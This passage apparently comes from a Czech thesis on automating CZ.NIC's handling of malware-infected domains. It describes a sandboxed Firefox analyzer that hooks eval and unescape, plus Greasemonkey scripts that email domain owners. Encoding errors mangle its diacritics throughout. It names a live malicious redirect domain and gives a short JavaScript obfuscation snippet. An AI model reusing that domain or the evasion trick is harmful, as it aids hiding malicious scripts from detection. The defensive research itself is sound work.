jak ukazuje pokus CZ.NIC. Sta£í v restauraci za£ít poslouchat, jaké wi� sít¥ za°ízení
vyhledávají a podle toho ur£it, kde se hosté ve svém soukromém ºivot¥ zdrºují[Ba²ta, 2014].
Pokud úto£ník podvrhne SSID n¥které z vyhledávaných sítí, p°ístroje host· se mohou
za£ít p°ipojovat p°es n¥j - a být kompromitovány.

Mezi typické pat°í také útoky p°es sociální inºenýrství. Ve Facebook chatu p°ichází
odkaz, který se tvá°í jako video a má pro�lovou fotku cílového uºivatele, aby zvý²il
zv¥davost ob¥ti. V²imn¥me si, ºe odkaz nemá v popisu °et¥zec �video�, ale �v!d30�, aby
co nejdéle mátl automatické protispammové �ltry - captcha stroje proti stroj·m. V
p°ípad¥, ºe na odkaz klikneme, skon£íme na nebezpe£né stránce.
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[zneuºitý
ú£et p°ítele na FB rozesílá scam]

3.2 Související nástroje

Sou£asná °e²ení boje proti malware operují na n¥kolika úrovních. (Vyuºíváme poznatky
ze zdroje[Sachin and Chiplunkar, 2012, 268-9].)

3.2.1 Automatické nástroje

První úrove¬ je antivir a �rewall na po£íta£i klienta.
Za dal²í úrove¬ m·ºeme povaºovat nad¥jný projekt Google Safebrowsing. Pokud

vyhledáva£ Google vyhodnotí stránku jako vadnou, zanese ji do ve°ejné databáze Safebrows-
ing. Z ní £erpají data prohlíºe£e Firefox a Chrome. Pokud uºivatel t¥chto prohlíºe£·
p°ijde na podez°elou stránku, zobrazí se mu varovný text.
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[výstraºný text google
safebrowsing]

3.2.2 Volitelné dopl¬ky v prohlíºe£i

Dal²í úrove¬ zabezpe£ení na webu mohou p°inést bezpe£nostní dopl¬ky. Zde zmíníme
NoScript4, který v základním nastavení blokuje ve²keré nebezpe£né skriptování. Uºi-
vatel kaºdý web, který nav²t¥vuje, explicitn¥ ozna£í jako povolený. Má tak jistotu, ºe
pokud se náhodou dostane na neznámou nebezpe£nou stránku, skripty se nevykonají.
Podobnou funkcionalitu nabízí i dopln¥k JS Guard[Kishore et al., 2014].

3.2.3 Více pro�l·

Pokro£ilou úrove¬ zabezpe£ení p°iná²í také pouºívání více pro�l· v prohlíºe£i. Jeden
pro�l m·ºeme pouºívat na prohlíºe£í sociálních sítí a druhý na internetové bankovnictví.
Pokud se nakazí jeden pro�l, významn¥ to sníºí pravd¥podobnost kompromitace i
druhého pro�lu.

3.2.4 Prevence serveru

Webmaster serveru by nem¥l opomenout následující kroky (dle seznamu[Scambray and Shema, 2002,
312].)

� odstranit testovací uºivatele (a uºivatele guest)

� správn¥ nakon�gurovat sí´ (�rewall serveru)

� správn¥ nakon�gurovat a záplatovat webserver

� nastavit oprávn¥ní v databázi (b¥ºný uºivatel nesmí mít root práva)

� o²et°it ve²kerý uºivatelský vstup v aplikaci
4https://noscript.net/
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M·ºeme zkusit i hacknout/zkontrolovat vlastní server n¥kterým z dostupných nástroj·
a sluºeb: [footlinks!] Wapiti (xss, sql injekce) , Havij (sql injekce), Qualys (SSL cer-
ti�kát), VirusTotal, Quttera, Sucuri, urlQuery (detekce ²kodlivého kódu). Za zmínku
stojí také projekt shodan.io, který vyhledává na internetu nezabezpe£ené v¥ci - od stavu
ledni£ky p°es ovládání kluzi²t¥ po ve°ejn¥ dostupné kontrolní panely elektráren.
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4 Návrh

Na základ¥ p°edchozích znalostí se pokusíme navrhnout °e²ení, které urychlí stáva-
jící správu ²kodlivých domén. Hlavní problémy tkv¥ly ve zdlouhavé práci s aplikací
MDM a v £asové náro£nosti ru£ního analyzování napadené stránky. Detailn¥ji si tedy
probereme, jak je moºno práci s aplikací a ru£ní analýzu urychlit a automatizovat.

4.1 Práce s MDM

Práce s aplikací MDM by m¥la být rychlej²í. Je t°eba identi�kovat sekvence krok·,
které administrátor provádí vºdy za sebou, a pomoci mu je p°eskakovat. K hlavním
problém·m pat°í p°edev²ím uklikanost aplikace. Nep°iná²í ºádné zvlá²tní klávesové
zkratky a pouºití n¥kterých plugin· jQuery (nap°íklad tabs pro dynamický výpis tab-
ulek) znesnad¬uje ovládání stránek pomocí klávesnice.

Administrátor v aplikaci provádí t°i typy úkon·, a to podle aktuálních £asových
moºností:

Posílat maily vlastník·m nov¥ napadených domén �innost je t°eba ud¥lat
co nejd°íve od obdrºení hlá²ení, alespo¬ jednou denn¥, aby vlastníci domén mohli v£as
reagovat.

Na²e °e²ení by m¥lo hlavn¥ administrátorovi pomoci s hledáním kontakt· na vlast-
níky domén, protoºe to je t°eba d¥lat kaºdý den, i v £asovém presu. P°itom samotné
vyhledání v interním doménovém registru je záleºitostí rutinní, v²ak zdlouhavou, pro-
toºe k nalezení e-mailu je kv·li kaºdému kontaktu t°eba znovu projít n¥kolik stránek.

Analyzovat napadené domény Tuto akci m·ºe administrátor vykonávat jednou
za pár dní, m·ºe projít hromadn¥ n¥kolik domén.

Na²e °e²ení by m¥la automaticky spojovat nahlá²ené url s n¥jakým spolehlivým
analyzátorem. M·ºeme zkusit vyuºít n¥jaký nástroj z konce minulé kapitoly (nap°.
urlQuery nebo Sucuri), nebo vyvinout vlastní analyzátor. Analýza by m¥la zjistit,
které ²kodlivé stránky s napadenou stránkou souvisí, jejich IP a p°ípadn¥ jak konkrétní
instance ²kodlivého kódu vypadá.

Telefonicky kontaktovat vlastníky, kte°í nejsou dostupni na mailu Ma-
jitelé domén mají v doménovém registru £asto neaktuální informace a maily zaslané na
o�ciální kontaktní adresy se vrací zpátky. CZ.NIC v takovém p°ípad¥ nem·ºe promptn¥
poskytnout informaci, ºe je web v nepo°ádku. Administrátor by se v²ak m¥l snaºit kon-
taktovat vlastníky i jinak, nejrychleji telefonem, pokud má majitel v registru nastaven
telefonní údaj (telefonní £ísla dle praxe zastarávají pomaleji neº mailové adresy).

Tato £innost se musí vykonávat p°es den, nelze v noci.
Na²e °e²ení by m¥lo z interního registru domén na£íst telefonní údaj.
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Shrnutí Protoºe 1. a 3. £innost souvisejí (obojí na£ítá údaje z interního registru),
zkusíme vyvinout software, který spojí MDM s interním registrem. Platí v²ak omezení,
ºe ke zdrojovému kódu interního registru nemáme p°ístup, je zabezpe£en zam¥stna-
neckým jménem a heslem, není tedy moºné vytvo°it API, které by s MDM komu-
nikovalo. Protoºe je v²ak sou£asn¥ po£et uºivatel· MDM omezen na administrátory z
°ad zam¥stnanc· spole£nosti, m·ºeme vyvinout standardizovaný dopln¥k, který interní
registr p°im¥je s MDM komunikovat.

Zkusíme navrhnout, jak by vypadal tento dopln¥k, a pak budeme °e²it 2. £innost,
propojení MDM s analyzátorem.

4.2 Dopln¥k do MDM a interního registru

Sekvenci úkon·, která spo£ívá v ma£kání stejných tla£ítek na známých stránkách a
dopl¬ování hodnot do vstupních polí, m·ºe výborn¥ ud¥lat uºivatelský javascript. Do-
pln¥k Greasemonkey pro Firefox umoº¬uje spou²t¥t uºivatelské javascripty na r·zných
stránkách. �e²ením by bylo, kdyby tento dopln¥k na poºádání rozklikal hlá²ení o v²ech
incidentech, zjistil, jestli uº prob¥hla mailová komunikace, a pokud ne, zahájil by ji se
²ablonou dle typu incidentu a na adresu automaticky získanou z interního registru.

Dopln¥k musí vy°e²it komunikaci mezi zabezpe£eným interním registrem a MDM.

4.3 Automatizace analýzy

Jako doprovodný nástroj k ru£ní analýze administráto°i vyuºívají systémy urlQuery
a Sucuri. Oba systémy proskenují url a vrátí výpis ²kodlivého kódu, který na stránce
naleznou. Ukáºeme si, jak vypadá jejich výstup. Budeme testovat na výsledcích analýzy
nakaºené stránky www.fotokorri.wz.cz, o které z ru£ního testování víme, ºe obsahuje
p°esm¥rování na stránku www.fotokorri.wz.cz.8e07b6066bc6b549.d99q.cn .

4.3.1 Nástroj urlQuery

Analýza ve sluºb¥ urlQuery trvá asi 45 vte°in. Výpis obsahuje screenshot, výpis
²kodlivých p°íkaz· spou²t¥ných javascriptem a seznam domén, na které se stránka
p°ipojila. V diagramu vidíme, ºe £ínskou doménu urlQuery korektn¥ na²lo.
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[výpis urlQuery]

4.3.2 Nástroj Sucuri

Analýza v Sucuri je o n¥co rychlej²í, ale má o n¥co hor²í výsledky a neobsahuje screen-
shot. Jak vidíme v náhledu výsledk·, korektn¥ ukazuje, ºe je stránka kompromitovaná,
ale mén¥ £asto najde domény. V na²em p°ípad¥ ve výsledcích nezobrazuje £ínskou
doménu, ov²em ukazuje blok javascriptu, kde se ²kodlivý kód nachází (ov²em mén¥
p°ehledn¥ neº ve sluºb¥ urlQuery, která p°ímo zobrazuje, jaké ²kodlivé p°íkazy se prove-
dou).

Sluºba Sucuri je sympatická tím, ºe p°iná²í webmaster·m webu tipy, co d¥lat, i
pokud je jejich skenovaná webová prezentace v po°ádku, nap°íklad upozor¬uje na neak-
tualizovaný Wordpress.

[výpis sucir]
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4.4 Integrace nástroj·

Pokusili jsme se oba nástroje spojit se sluºbou MDM. Do stránky s výpisem detailu
incidentu MDM jsme vloºili automaticky generované linky na zmín¥né analyzátory,
které se p°i otev°ení stránky samy spou²t¥ly ve vedlej²ích tabech prohlíºe£e. Lokální
prohlíºe£ byl pomocí uºivatelských skript· upraven tak, aby analyzátory vzaly URL z
MDM a bez me²kání spustily generování skenu, aniº by £lov¥k musel ma£kat tla£ítko
�ok�.

(Na následujícím screenshotu vidíme automaticky generované linky, v²imn¥me si
�uq� pro urlQuery a �sc� pro Sucuri. Dal²í linky, o kterých bude °e£ níºe, jsou �vm� pro
virtuální stroj, �sf� pro Google Safebrowsing, �da� pro interní registr domén, �img� pro
sluºbu zaji²´ující screenshot a �nová� pro automatické odesílání zpráv majiteli.)

[p°edb¥ºná implementace
automatických nástroj· do MDM]

Experimenty ukázaly, ºe urlQuery vrací vynikající výsledky, ov²em analýza trvá
p°íli² dlouho a p°i v¥t²ím mnoºství analýz beznad¥jn¥ padá, analyzuje se donekone£na.
B¥hem práce s MDM by bylo vhodné moci analyzovat t°eba 10 URL najednou, ov²em
urlQuery toho nebylo schopno. Z neznámých d·vod· urlQuery selhalo t°eba i p°i jediné
analýze a místo výsledku vrátilo oznámení, ºe stránka není dostupná. (D·vody nelze s
jistotou ur£it, protoºe neznámé vnit°ní strukturu urlQuery, roli m·ºe hrát i geogra�cká
vzdálenost od analyzovaného serveru.)

4.4.1 Virtuální stroj

P°estoºe jsme spustili dva externí analyzátory, administrátor musel nakonec p°eci jen
vyhodnotit v¥t²inu stránek ru£n¥.

Aby p°itom z·stal v bezpe£í, m¥l by mít vypnuté skriptování v prohlíºe£i alespo¬
na úrovni dopl¬ku NoScript. Jenºe kdyº se ²kodlivý kód nevykoná, jeho ru£ní analýza
je natolik zdlouhavá, ºe se stává nepouºitelnou.
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Testovali jsme proto moºnost spou²t¥t URL ve virtuálním stroji, skrz aplikaci Virtu-
albox [footlink]. V n¥m b¥ºel starý opera£ní systémWinXP a ni£ím nechrán¥ný Firefox.
Malware se sice dob°e provád¥l a bezpe£n¥ testoval, nicmén¥ p°ibyly nadbyte£né oper-
ace okolo - URL se musela vkopírovat do virtuálního stroje, p°i£emº n¥kdy komunikace s
virtuálním strojem selhávala a clipboard ne²el pouºít. URL se tedy ukládala do souboru
ve sdílené sloºce a ve virtuálním stroji se kopírovala zpátky do prohlíºe£e. Proces se po-
da°ilo £áste£n¥ urychlit p°es externí webový server, ke kterému m¥la p°ístup jak lokální
stanice, tak virtuální stroj. Externí server p°ijal URL z MDM a pro virtuální stroj
nabízel rozhraní, kde se URL sama rozklikla. (Na screenshotu p°edb¥ºné implementace
(vý²e) funkci zaji²´oval automatický link �vm� jako virtualmachine.) Nicmén¥ p°estoºe
výsledky analýzy ve virtuálním stroji byly dobré, byl totoºný problém zji²t¥né údaje
p°enést bezpe£n¥ zp¥t na lokální stanici. Jednalo se tedy o kostrbaté nefunk£ní °e²ení.

4.4.2 Vlastní analyzér

Po neúsp¥²ných pokusech jsme dosp¥li k tomu, ºe nejv¥t²í nad¥jí na úsp¥ch je stavba
vlastního analyzéru. M¥l by zvládnout v n¥jakém svém virtuálním stroji pustit b¥ºný
prohlíºe£, na který malware cílí, a proto se snáze projeví s v¥t²í pravd¥podobností neº
p°i statické analýze zdrojového kódu, na£teného p°ímo do analyzéru z http. M¥l by
um¥t komunikovat s tímto prohlíºe£em a p°esn¥ °íci, na které URL se prohlíºe£ p°i
nav²tívení URL dostal. A m¥l by mít API, s kterou by jednodu²e dodával data do
MDM a p°ebíral URL k analýze.

V p°ípad¥, ºe bychom m¥li tento stroj, pomocnou vrstvu mezi MDM a uºivatelem,
mohl by implementovat i dal²í automatiza£ní poºadavky, které práci s MDM urychlí a
které by externí sluºby st¥ºí mohly p°inést:

� pamatovat si výsledky analýzy, aby se k nim mohl administrátor vrátit

� generovat ²kodlivá URL v CSV, abychom tím vytvo°ili seznam objevených ²kodlivých
IP a adres (pro proprietární vyuºití v projekt Turris)

� sám p°edpovídat ²kodlivá URL podle známých vzor· (nap°: na£ítání skriptu
�.php� ze souboru na cizí domén¥)

� umoºnit adminstrátorovi rozhodnout, které domény, IP nebo URL se budou
prop°í²t¥ automaticky povaºovat za ²kodlivé (protoºe jeden typ malware £asto za-
sahuje mnoho webových prezentací, administrátor by se nemusel ru£n¥ rozhodovat
u kaºdé domény, ale rovnou vid¥l, ºe je stránka nakaºená)

Screenshot Analyzér by dále m¥l být schopen ud¥lat screenshot, protoºe screenshot
stránky p°iná²í velmi cenné informace. Pokud je stránka úto£ným zásahem zcela zde-
molovaná, administrátor to zjistí na první pohled a nemusí dál zkoumat. Experimen-
tovali jsme s externími sluºbami na automatické po°ízení screenshot·, jmenovit¥ se
sluºbou url2png [footlink]. Nicmén¥ pokud bychom cht¥li zobrazit obrázek v analýze,
narazili jsme na to, ºe sluºba je placená.
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Navíc by bylo vhodné, aby screenshot odráºel výsledky b¥hu konkrétní analýzy,
nebo´ nep°átelský skript m·ºe b¥hem 2 spu²t¥ní vrátit r·zné výsledky, a tak by m¥l
být po°ízen p°ímo analyzérem.
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5 Implementace

V této kapitole se podíváme na realizace °e²ení navrhnutého v návrhové £ásti. Popí²eme
pouºité technologie, jeho architekturu a zajímavé algoritmy.

5.1 Analyzér

Virtuální stroj, kde b¥ºí server analyzéru, je napsán v jazyce Python3. Spou²tí bezpe£n¥
sandboxované Firefoxy, které se snaºí simulovat b¥ºného náv²t¥vníka, na kterého m·ºe
²kodlivý kód zaúto£it. Server dále obsluhuje databázi a nabízí dv¥ komunika£ní rozhraní
- první dostupné p°ímo na adrese stroje p°es http protokol, umoº¬uje spustit analýzu
URL. Druhé rozhraní je ur£eno pro MDM, kde se výsledek analýzy integruje do p·vodní
stránky incidentu, ze které je analýza volána, a obohacuje ji o dal²í ovládací prvky.

5.1.1 Sandboxovaný Firefox

Server m·ºe spou²t¥t aº 20 r·zných pro�l· Firefoxu. Ty jsou speciáln¥ nastaveny, aby
ignorovaly Google Safebrowsing a dal²í bezpe£nostní mechanismy prohlíºe£e. Kaºdý
pro�l má nainstalováno roz²í°ení, které umoº¬uje dal²í analyza£ní funkce.

P°ímý log z prohlíºe£e Firefox je spu²t¥n s parametrem, který ho p°im¥je vést log
v²ech nav²tívených stránek. Ten má tu výhodu, ºe pokud jeho b¥h selºe a program
spadne, p°esto máme jistotu, ºe získáme informace o b¥hu.

Dopln¥k do Firefoxu V rámci práce jsme naprogramovali vlastní roz²í°ení, které je
v kaºdém Firefoxu nainstalované ze spole£né sloºky. Roz²í°ení se stará o hlub²í analýzu
kódu v n¥kolika modulech.

Jakmile m·ºe, spustí dopln¥k ²pionáºní modul, který má za cíl zjistit, které ²kodlivé
p°íkazy stránka vykoná. Hned potom nastartuje paraleln¥ modul tra�c sni�er, který
odposlouchává ve²kerou komunikaci. Potom p¥t vte°in po£ká, aby se ²kodlivé kódy
stihly na stránce pohodln¥ vykonat. Od této chvíle £eká na zprávu, ºe se v²echny
stránky vykonaly a ud¥lá screenshot, jak stránka dopadla. �eká maximáln¥ dal²ích
p¥t vte°in, potom ud¥lá screenshot a stránku zav°e násilím, protoºe n¥které stránky
jsou schopny na£ítat skripty donekone£na ve smy£ce a pr·b¥h by nem¥l konec. Pokud
se p°esto n¥co stane a prohlíºe£ neskon£í (nap°íklad pokud n¥který malware porouchá
prohlíºe£ natolik, ºe p°estane reagovat), 25 vte°in po spu²t¥ní prohlíºe£e ho server
ukon£í násilím, i za cenu toho, ºe nedostane screenshot.

Modul: Tra�c sni�er Modul Tra�c sni�er se stará o to, aby nám neunikla ºádná
stránka, která se na£te. Protoºe malware uná²í uºivatel·v prohlíºe£ na �nální destinaci
£asto skrz n¥kolik vedlej²ích webových stránek, chceme mít p°ehled o tom, kudy v²ude
prohlíºe£ ²el a s jakým kódem se setkal. K odposlouchávání kódu pouºíváme podobný
kód jako roz²í°ení Firebug[Odv, 2008].
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Velký problém byl, ºe se úvodní URL za£ala na£ítat ihned se startem prohlíºe£e,
je²t¥ p°edtím, neº dopln¥k za£al kód zachytávat. První URL tedy £asto pro²la bez
pov²imnutí. Zajímavé je, ºe se to kv·li interním proces·m Firefoxu ned¥lo vºdy, ob£as
Firefox zdrºela sluºba Heartbeat, coº je projekt telemetrie od Mozilly, která se vzorku
uºivatel· ob£as zeptá na spokojenost s vyuºíváním prohlíºe£e. [ ]

V²imnul jsem si, ºe i v nástrojích vývojá°e a v roz²í°ení Firebug, pokud chceme zo-
brazit status sít¥, musíme poprvé znovu na£íst stránku. Je tedy moºné, ºe funkcionalita
není p°ístupná ani programátor·m, d·kladn¥ obeznámeným s vnit°ní strukturou Fire-
foxu.

M¥li jsme na výb¥r tedy ze dvou metod, jak první stránky p°esto na£íst. Bu¤ pro
první request vyuºít vnit°ní modul Firefoxu PageLoad, který ale nezachytí data tak
spolehliv¥ jako odposlouchávání. Druhá moºnost, kterou jsme zvolili, je mezistránka.
Místo abychom startovali Firefox na URL http://example.com, startujeme ho na http://localhost/redirect/http://example.com.
V moment¥, kdy se dopln¥k úsp¥²n¥ na£te, zjistí tuto speciální stránku a prohlíºe£
bezpe£n¥ p°esm¥ruje.

Modul: Spy Dopln¥k NoScript sice blokuje ²kodlivé skripty, ale sou£asn¥ ni£í jejich
práci. Nezjistíme s ním tak, co skripty m¥ly v úmyslu ud¥lat. Modul Spy nemá za
cíl chránit uºivatele a místo toho tak p°ede�nuje p°ímo p·vodní javascriptové funkce
prohlíºe£e. Pokud kód nap°íklad volá funkci unescape, zavolá se místo ní na²e nahrazená
unescape, která zalogguje parametr a vrátí výsledek stejný, jako originální unescape.
Malware nepozná ºádný rozdíl a provede se. Takto snadno de²ifrujeme, jaký kód se
p°esn¥ provádí.

Velké problémy jsme m¥li s implementováním naru²ené funkce eval, protoºe se ne-
jedná o funkci v pravém slova smyslu, ale o jazykový konstruktu javascript, takºe
pracuje na nízké úrovni. P°i testování jsme se totiº setkali se skriptem, který ve funkci
eval volá jako parametr dal²í konstrukci, funkci arguments.callee. Ta vrací odkaz na
funkci z lokálního kontextu. V moment¥, kdy jsme funkci eval nahradili ²piónem a
pak cht¥li vrátit výsledek originální eval, arguments.callee nutn¥ nabýval jiných hod-
not. Místo funkce arguments.callee bychom mohli vloºit funkce arguments.callee.caller,
která jde v kontextu o úrove¬ vý², ale protoºe eval je jazykový konstrukt, °e²ení nefun-
guje. (Odzkou²eno shodn¥ v implementaci ECMAScriptu interpreterem SpiderMonkey
v aktuální verzi Firefoxu a v Chrome. Nakonec jsme v parametru eval p°ímo nahradili
text �arguments.callee� textem �*arguments.callee.caller.name�*, coº je metoda, kterou
Mozzila, správce standardu, ozna£uje za nestandardní a riskantní. Nicmén¥ °e²ení fun-
guje.

Funkce document.write je natolik interní, ºe se nám ji nepoda°ilo p°epsat tak, aby-
chom ji byli schopni znovu spustit. Abychom v²ak neomezili malware v jeho b¥hu, simu-
lujeme její funk£nost p°íkazem document.getElementsByTagName(�html�)[0].innerHTML=
str. Máme na²t¥stí jistotu, ºe tag HTML existuje, nebo´ Firefox jej do DOMu dopl¬uje
i na jinak zcela nevalidních stránkách.

Jakmile se provede n¥jaký podez°elý p°íkaz, modul ode²le hlá²ení zp¥t do hlavní
£ásti dopl¬ku. Ten zprávu ihned uloºí do souboru, abychom o ni nep°i²li v p°ípad¥
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pádu prohlíºe£e (který je stále pravd¥podobný, protoºe ²kodlivý kód m·ºe mít ne£ekané
následky). Protoºe zápis do souboru prohlíºe£ d¥lá pouze asynchronn¥ a m·ºe mít i
n¥kolik vte°in zpoºd¥ní, velký po£et podez°elých funkcí, které se vykonávají t¥sn¥ po
sob¥, má ten efekt, ºe je prohlíºe£ p°estane stíhat zapisovat (ale nespadne). P°esto je to
pro nás výhodn¥j²í zapisovat co nejrychleji, nebo´ máme jistotu, ºe se administrátorovi
dostane zpráva o ²kodlivých p°íkazech - a ten si v p°ípad¥ v¥t²ího zájmu m·ºe stránku
zanalyzovat ru£n¥.

Modul: Screenshot Do �nální podoby stránky je injektován skript, který po²le
údaje o kone£ných rozm¥rech stránky - vý²ku a ²í°ku obrazovky. Malware podle in-
jektáºe eventuáln¥ m·ºe p°ijít na to, ºe chci stránku upravit. Ale injektáº provád¥jí i
b¥ºná roz²í°ení, takºe je nízká pravd¥podobnost, ºe by malware poznal, ºe je v sand-
boxu. (Pravd¥podobnost se dále sniºuje zpoºd¥nou injektáºí.) Podle vý²ky a ²í°ky
vytvo°íme objekt canvas, kam screenshot vloºíme a z n¥j p°edáme do souboru ve for-
mátu data-octet, v kódování base64. Nelze ukládat p°ímo png soubory, protoºe výstup
implementace algoritmu base64, která je v dopl¬ku dostupný, je moºná vadný - li²il
se od pozd¥j²ích výsledk·, které base64 vracela v Pythonu. Necháme tedy screenshot
posléze zpracovat Pythonem.

5.1.2 Server analyzéru

Server se primárn¥ stará o spou²t¥ní sandboxovaných instancí prohlíºe£e. Dále zpra-
covává výstup z n¥j a v p°ijatelném formátu vypisuje pomocí rozhraní. Výsledky b¥hu
prohlíºe£e se ukládají do datové struktury crawl, která je schopna pojmout v²echny in-
formace a odkazy na lokální soubory. Datovou strukturu crawl postupn¥ obohacuje p¥t
r·zných modul·, z nichº kaºdý se stará o svou £ást log·. Struktura je potom cachována
ve formátu yaml, který je £itelný £lov¥kem.

Pokud je jedna URL analyzována vícekrát, server je schopen kaºdou z nich uloºit do
zvlá²tní sloºky v cache adresá°i, aby ²ly porovnat r·zné výsledky r·zných analýz téºe
stránky (a její posun k vy°e²ení malware nákazy).

Parser: NSPR log Zpracuje soubor log·, které zanechala daná instance Firefoxu,
která je spou²t¥na s instrukcí d·sledn¥ loggovat události interního typu nsHttp, tedy
v²ech moºných nav²tívených domén. Loggování je natolik d·sledné, ºe v logu nacházíme
i informace o b¥ºn¥ neviditelných doménách - jako je nap°íklad vý²e zmín¥ná sluºba
Heartbeat.

Parser: Tra�c Parser projde cache adresá° a hledá v²echny soubory, které vy-
generoval modul dopl¬ku Tra�c sni�er podle p°edem domluveného formátu: Název
souboru je o²et°ený název konkrétního URL, p°ípona �tmp�, na prvním °ádku se vys-
tkytuje plné zn¥ní URL (které by bylo nebezpe£né uchovávat v názvu souboru) a mime-
type, druh obsahu, jak ho Firefox vyhodnotil.
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O tyto soubory obohatí objekt crawl. P°i výpisu analýzy totiº chceme vid¥t jen
podstatná data a ne v²echny údaje, které máme k dispozici - ty jsou zobrazeny na
vyºadání. Navíc chceme zdrojové soubory ukazovat s vyzna£enou syntaxí a zkrácené
o nepodstatné a ne²kodné objekty. K vyhledání zajímavých objekt· (iframe, script,
img, embed. . . ) pouºíváme knihovnu Pythonu beautifulsoup, která je sice pomalej²í
neº nap°íklad s Pythonem dodávaná lxml, ale zato si poradí i s r·znými nevalidními
tagy [footnote : jak uvadeji autori, dle kreda této knihovny, ze �tuhle hroznou stranku
jsem nepsal, ale musim ji parsovat�]. Syntaxi pak zvýrazníme s pomocí knihovny pyg-
mentize. V p°ípad¥ HTML pouºijeme na obarvení defaultní t°ídu HTMLLexer, v p°í-
pad¥ skript· jsme si v²ak ud¥lali situaci sloºit¥j²í. Protoºe javascriptové knihovny
jsou dlouhé, chceme pro lep²í orientaci zvýraznit funkce, které povaºujeme za poten-
ciáln¥ nebezpe£né. K tomu jsme si napsali vlastní gramatiku jazyka, který vychází v
javascriptu, t°ídu MdmaugJsLexer. Funkce jako document.write se vypisují obrovským
£erveným fontem, aby je administrátor vid¥l na první pohled. Jsme si v¥domi toho,
ºe výsledek nem·ºe podchytit v²echny nebezpe£né funkce, nebo´ javascript umoº¬uje
jejich obfuskaci, a místo: �document.write� m·ºe být ve zdrojovém kódu napsáno jen:
�a=`doc'+`ument.write';�.

(Analýza objekt· typu QuickTime a Flashe by byla velmi sloºitá, na²t¥stí se jí
nemusíme v·bec zabývat - protoºe uº jen pouhá p°ítomnost t¥chto objekt· na stránce
je podez°elým signálem.)

Parser: Spy Parser projde soubory z modulu dopl¬ky Spy podle podobn¥ domlu-
veného formátu. Jednotlivá chycená volání nebezpe£ných funkcí o²et°í proti XSS a vrací
objektu crawl k p°ímému výpisu jako formátovaný HTML kód. Pokud ov²em analýza
ukáºe velký po£et podez°elých funkcí, anebo pokud jsou n¥které údaje o funkcích p°íli²
dlouhé (typicky, kdyº hacker volá unescape s veledlouhým parametrem, který dynam-
icky rozbaluje ²kodlivou funkci), vrátí jen 100 znak· pro maximáln¥ 10 volání a p°idá
permanentní odkaz, pod kterým administrátor nalezne p·vodní kód.

Parser: Metadata Obohacuje objekt crawl o dal²í informace, které p°ímo nesouvisí
s b¥hem instance prohlíºe£e. První z nich je geolokace. Ke kaºdé domén¥ dohledá
v²echny IP adresy a k t¥m se pokou²í zjistit geolokaci. Protoºe se instance Firefoxu
b¥hem b¥hu £asto p°ipojuje i k 20 stránkám a ur£ení geolokace probíhá z externí sluºby,
spustíme na kaºdou doménu i na kaºdý geodotaz vlastní vlákno. P°itom hlídáme,
abychom negenerovali p°íli² mnoho vláken, coº by vedlo k pádu celé analýzy - pokud
je po£et vláken v¥t²í neº n, po£káme, aº vlákna dob¥hnou, konsolidujeme je a teprve
potom pustíme dal²í várku. (S £íslem n stále experimentujeme. )

Druhý typ metadat jsou údaje z databáze. Ke kaºdé IP se p°i°adí záznam, jaké
domén¥ (doménám) pat°í, v rámci jaké analýzy jsme ji potkali a kdy a zda jsme
ji vyhodnotili jako ²kodlivou, podez°elou, nebo d·v¥ryhodnou. Objekt crawl ihned
získá p°ehled o doménách, se kterými jsme se setkali v minulosti, a v analýze £erven¥
podtrhává ²kodlivé domény, zatímco informace o d·v¥ryhodných doménách sráºí na
minimum a °adí je dospodu.
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Parser: Screenshot Aby mohl Firefox b¥ºet, musí být k dispozici displej. Na
virtuálním stroji v²ak pouºíváme jen virtuální displej, realizovaný knihovnou xvbf.
P·vodn¥ jsme cht¥li screenshot získávat bez asistence Firefoxu, pouhým sejmutím ak-
tuálního stavu virtuálního displeje, °e²ení z xvbf se v²ak ukázalo jako p°íli² pomalé a
zdrºovalo b¥h skriptu. Implementovali jsme proto sejmutí screenshotu p°ímo ve Fire-
foxu, má to tu výhodu, ºe vidíme nejen rozli²ení virtuální obrazovky, ale obraz celé
plochy, kterou �nální stránka v prohlíºe£i zabírá.

Jak jsme se ov²em zmi¬ovali vý²e, ve Firefoxu jsme narazili na problém s de²ifrováním
base64. Parser Screenshot tedy na£te base64 kód, p°eloºí ho do PNG formátu a p°i té
p°íleºitosti obrázek zmen²í na únosné rozm¥ry náhledu.

5.1.3 Databáze

Pro ú£ely ukládání dat pouºíváme úloºi²t¥ MySQL. Pro komunikaci s Pythonem jsme
zvolili ORM databázovou vrstvu knihovny peewee, abychom mohli s objekty databáze
zacházet jako se t°ídami Pythonu.

P·vodn¥ bylo °e²ení implementováno pomocí pymysql, ta ale nezvládala sdílet zdroje
mezi vlákny a vracela chybu InterfaceError (0, �). Protoºe komunita b¥hem t°í let
nenalezla °e²ení5, p°e²li jsme na peewee.

5.2 Dopln¥k do MDM

Jako druhou programovací £ást jsme £áste£n¥ automatizovali opakující se funkce v
MDM. To jsme realizovali pomocí dopl¬ku Firefoxu Greasemonkey, který umoº¬uje na
daných stránkách spou²t¥t uºivatelský javascript.

�innost Greasemonkey za£íná hned na úvodní stránce. P°ihla²ování je realizováno
pomocí sluºby MojeID. Po vypln¥ní uºivatelského jména je uºivatel na druhé stránce
tup¥ vyzván, aby zmá£kl �ok�. Oba tyto kroky jsou p°esko£eny, uºivatelské jméno se
vyplní automaticky a tla£ítko se zmá£kne. (Heslo sluºba neukládá, to je jednou za
m¥síc uºivatel nucen napsat ru£n¥.)

5.2.1 Hlavní stránka

Do úvodní stránky je vloºen iframe, který zaji²´uje spojení s interním registrem domén.
Sta£í vyplnit heslo a kliknout na tla£ítko �login� a skripty v Greasemonkey obstarají
zbytek, spou²tí se totiº i v registru domén. Registr vloºený v iframe s MDM komunikuje
pomocí bezpe£ného API HTML pro posílání zpráv. Informace mohou téci skrz iframe
v rámci dokumentu a není realizováno ºádné internetové spojení, takºe nehrozí únik
informací. Elegantn¥ jsme se tak dostali k dat·m z registru, aniº bychom ohrozili
bezpe£nost.

5http://stackover�ow.com/questions/6650940/interfaceerror-0
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[greasemonkey - integrace
registru a mdm]

5.2.2 Procházení incident·

Javascriptová nadstavba dávkov¥ projde desítky nahlá²ených domén naráz, za uºivatele
se sama prokliká do detail· a díky provázanosti s interním registrem domén si vytahá
neve°ejné e-maily vlastník· (v²echny moºné). Pokud nestojí v cest¥ ºádná p°ekáºka,
zvolí správnou ²ablonu e-mailu, ode²le jej a je-li v²e v po°ádku, zav°e tab prohlíºe£e.
Z toho plyne, ºe nejd·leºit¥j²í úlohu systému, okamºité informování vlastník· domén o
hrozbách na jejich serveru, m·ºe p°evzít cron, automatický bot.

Toto menu p°ibylo na stránku s p°ehledem incident·: [seznam
incident·]

